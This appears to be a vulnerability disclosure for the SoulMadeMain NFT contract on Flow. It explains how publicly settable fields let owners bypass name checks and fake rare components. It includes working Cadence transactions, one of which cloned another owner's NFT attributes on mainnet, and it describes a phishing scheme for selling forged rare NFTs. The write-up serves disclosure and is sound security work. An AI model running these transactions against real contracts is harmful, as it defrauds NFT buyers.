SoulMadeMain contract

// line 28, 30-32
pub struct MainDetail{
        pub(set) var name: String
        pub(set) var description: String
        pub(set) var ipfsHash: String
        pub(set) var componentDetails: [SoulMadeComponent.ComponentDetail]

// line 102 to 123
pub fun setName(_ name: String){
            pre {
                name.length > 2 : "The name is too short"
                name.length < 100 : "The name is too long" 
            }
            self.mainDetail.name = name
            emit NameSet(id: self.id, name: name)
        }

        pub fun setDescription(_ description: String){
            pre {
                description.length > 2 : "The descripton is too short"
                description.length < 500 : "The description is too long" 
            }
            self.mainDetail.description = description
            emit DescriptionSet(id: self.id, description: description)
        }

        pub fun setIpfsHash(_ ipfsHash: String){
            self.mainDetail.ipfsHash = ipfsHash
            emit IpfsHashSet(id: self.id, ipfsHash: ipfsHash)
        }

The MainDetail struct consists of publicly settable name, description, ipfsHash, and componentDetails values. Consequently, this allows the NFT owner to arbitrarily modify the values while bypassing certain limitations.

For example, the setName functionality in line 102 pre-checks that the name length must be larger than 2 and lesser than 100. To bypass this, an NFT owner can use the below transaction code to modify their name which is prohibited.

import SoulMadeMain from 0x9a57dfe5c8ce609c

transaction() {

    prepare(account: AuthAccount) { 
        let ref = account.borrow<&SoulMadeMain.Collection>(from: SoulMadeMain.CollectionStoragePath)!

        let allNFTs = ref.getIDs()

        let nft : @SoulMadeMain.NFT <- ref.withdraw(withdrawID: allNFTs[0])!

				// name.length is 1
        nft.mainDetail.name = "h"

        ref.deposit(token: <- nft)
    }
    execute {       
    
    }
}

In addition, the NameSet event in line 108 is also not emitted, so a user can secretly modify the values without getting the transaction picked up by event listeners.

Phishing exploitability

// line 87 to 100
pub fun withdrawComponent(category: String): @SoulMadeComponent.NFT {
            let componentNft <- self.components.remove(key: category)!
            self.mainDetail.componentDetails = self.getAllComponentDetail().values
            emit MainComponentUpdated(mainNftId: self.id)
            return <- componentNft
        }

pub fun depositComponent(componentNft: @SoulMadeComponent.NFT): @SoulMadeComponent.NFT? {
            let category : String = componentNft.componentDetail.category
            var old <- self.components[category] <- componentNft
            self.mainDetail.componentDetails = self.getAllComponentDetail().values
            emit MainComponentUpdated(mainNftId: self.id)
            return <- old
        }

In lines 87 to 100, we can see that the NFT’s component details are determined by the components dictionary (see line 69). Depositing a SoulMadeComponent.NFT using depositComponent would update the components category (self.components[category]) to reflect the latest components held by the NFT. The opposite is also true where calling withdrawComponent would reset the component details and removes the withdrawn SoulMadeComponent.NFT from the component itself.

This proves that self.mainDetail.componentDetails determine scarcity, and due to pub(set) the values can be set by the NFT owner. As a result, a malicious actor can create a SoulMadeMain.NFT with super rare components to lure victims into purchasing the NFT. Unless the victim manually checks the components dictionary, there is a high chance that they will not realize the purchased NFT does not actually hold any super rare SoulMadeComponent.NFT components as shown in the picture.

If the victim tries to withdraw the component, the transaction would fail as seen in line 88 due to the force unwrap operator.

Proof of concept

<aside> 💡 All transactions were executed under address 0x079960b40a947dbf.

</aside>

The following transaction script automatically copies all the attributes of an NFT except for the name and description.

import SoulMadeMain from "../contracts/SoulMadeMain.cdc"
import SoulMadeComponent from "../contracts/SoulMadeComponent.cdc"

/*

flow transactions send soulmade/transactions/createNFT.cdc --network mainnet --signer peach 0x18d7e8fd44629257 560

*/

transaction(cloneAddress: Address, cloneID: UInt64) {

    prepare(account: AuthAccount) {

        // retreive NFT details
        let cloneAddress = getAccount(cloneAddress)

        let cap = cloneAddress.getCapability<&{SoulMadeMain.CollectionPublic}>(SoulMadeMain.CollectionPublicPath).borrow()!

        var nftDetail = cap.borrowMain(id: cloneID).mainDetail

        // initial setup for ourselves
        if account.borrow<&SoulMadeMain.Collection>(from: SoulMadeMain.CollectionStoragePath) == nil {
            account.save(<- SoulMadeMain.createEmptyCollection(), to: SoulMadeMain.CollectionStoragePath)
            account.link<&{SoulMadeMain.CollectionPublic}>(SoulMadeMain.CollectionPublicPath, target: SoulMadeMain.CollectionStoragePath)
            account.link<&SoulMadeMain.Collection>(SoulMadeMain.CollectionPrivatePath, target: SoulMadeMain.CollectionStoragePath)
        }

        let ref = account.borrow<&SoulMadeMain.Collection>(from: SoulMadeMain.CollectionStoragePath)!

        let soul_nft <- SoulMadeMain.mintMain(series: nftDetail.series)
        soul_nft.mainDetail.name = "Peach tea"
        soul_nft.mainDetail.description = "Proof of concept from peach tea"
        soul_nft.mainDetail.ipfsHash = nftDetail.ipfsHash
        soul_nft.mainDetail.componentDetails = nftDetail.componentDetails
        ref.deposit(token: <- soul_nft)
    }

    execute {        

    }
}

I decided to copy Neutral Sienna’s NFT attributes from address 0x18d7e8fd44629257 with the token identifier 560.

Screenshot 2022-10-26 at 1.24.36 PM.png

The transaction went through successfully.